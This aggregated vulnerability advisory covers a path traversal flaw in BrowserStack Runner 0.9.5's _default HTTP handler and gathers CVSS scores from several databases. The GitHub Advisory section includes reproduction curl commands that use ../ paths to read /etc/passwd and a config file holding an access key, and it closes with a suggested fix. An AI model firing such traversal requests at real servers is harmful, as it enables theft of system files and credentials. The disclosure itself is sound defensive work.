BrowserStack Runner 0.9.5 Path Traversal via _default HTTP Handler

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

BrowserStack Runner through 0.9.5 contains a path traversal vulnerability in the _default HTTP handler in lib/server.js that allows unauthenticated network-adjacent attackers to read arbitrary files. Attackers can exploit the unauthenticated HTTP server bound on all interfaces to traverse outside the project root and access sensitive files.

Source published

2 Jun 2026 20:34:54 UTC

Source modified

8 Nov 2026 14:04:51 UTC

Observed here

8 Nov 2026 16:11:25 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 7.1 CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CVSS 3.1 · 6.5 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

BrowserStack Runner through 0.9.5 contains a path traversal vulnerability in the _default HTTP handler in lib/server.js that allows unauthenticated network-adjacent attackers to read arbitrary files. Attackers can exploit the unauthenticated HTTP server bound on all interfaces to traverse outside the project root and access sensitive files.

Source published

Jun 2, 2026, 8:34:54 PM (timezone not stated)

Source modified

Nov 8, 2026, 2:04:51 PM (timezone not stated)

Observed here

9 Nov 2026 12:05:33 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 7.1 CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

BrowserStack Runner through 0.9.5 contains a path traversal vulnerability in the _default HTTP handler in lib/server.js that allows unauthenticated network-adjacent attackers to read arbitrary files. Attackers can exploit the unauthenticated HTTP server bound on all interfaces to traverse outside the project root and access sensitive files.

Source published

2 Jun 2026 21:16:28 UTC

Source modified

8 Oct 2026 16:17:18 UTC

Observed here

25 Oct 2026 12:17:32 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 7.1 CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

## Summary The HTTP server in browserstack-runner serves files from the project directory via the `_default` handler. This handler uses `path.join(process.cwd(), uri)` to resolve file paths but does not validate that the resulting path stays within the project root. Combined with the server binding on `0.0.0.0` (all interfaces) and the absence of any authentication, this allows an unauthenticated network-adjacent attacker to read arbitrary files from the host filesystem. ## Root Cause **lib/server.js, lines 530–534 : `_default` handler:** ```javascript '_default': function defaultHandler(uri, body, request, response) { var filePath = path.join(process.cwd(), uri); handleFile(filePath, request, response); } ``` `uri` comes from `url.parse(request.url).pathname` (line 540), which preserves `../` sequences. `path.join` resolves them, producing absolute paths outside the project directory. No boundary check is performed before serving the file. **bin/cli.js, line 131 : server binding:** ```javascript server.listen(parseInt(config.test_server_port, 10)); ``` No hostname is specified, so Node.js binds on `0.0.0.0` (all interfaces). **No authentication:** The `_default` handler does not call `getWorkerUuid()` or perform any authentication check. ## Steps to Reproduce ### Step 1 : Start the server (Terminal 1) ```bash cd browserstack-runner echo '<html><body>test</body></html>' > _poc_test.html echo '{"username":"X","key":"X","test_path":"_poc_test.html","test_framework":"qunit","browsers":[]}' > browserstack.json node bin/runner.js ``` ### Step 2 : Read arbitrary files (Terminal 2) **Read /etc/hostname:** ```bash curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/hostname" ``` **Read /etc/passwd:** ```bash curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/passwd" ``` **Read the BrowserStack access key from config:** ```bash curl -s "http://127.0.0.1:8888/browserstack.json" ``` > **Note:** `--path-as-is` is required because curl normalizes `../` sequences > by default. Browsers and HTTP libraries that do not normalize URL paths > (or that allow raw path construction) can exploit this without special flags. ### Expected Result - `/etc/hostname` → server returns the machine hostname - `/etc/passwd` → server returns the full passwd file - `browserstack.json` → server returns the config including the BrowserStack access key ## Impact - **BrowserStack access key theft** : `browserstack.json` is always in the project root (same directory the server serves from), and contains `username` and `key` in cleartext - **Source code theft** : all project files are readable - **System file disclosure** : `/etc/passwd`, `/etc/shadow` (if readable), SSH keys, `.env` files, `.npmrc` (npm tokens), etc. - **Chainable with Finding #1** : same server, same exposure window, same network-adjacent attacker ## Suggested Fix 1. Validate the resolved path stays within the project root: ```javascript var filePath = path.resolve(process.cwd(), '.' + uri); if (!filePath.startsWith(process.cwd() + path.sep)) { sendError(response, 'Forbidden', 403); return; } ``` 2. Bind on `127.0.0.1` 3. Add authentication to the `_default` handler

Source published

3 Jun 2026 21:38:40 UTC

Source modified

3 Jun 2026 21:56:25 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVSS_V4 · CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Publisher rating · HIGH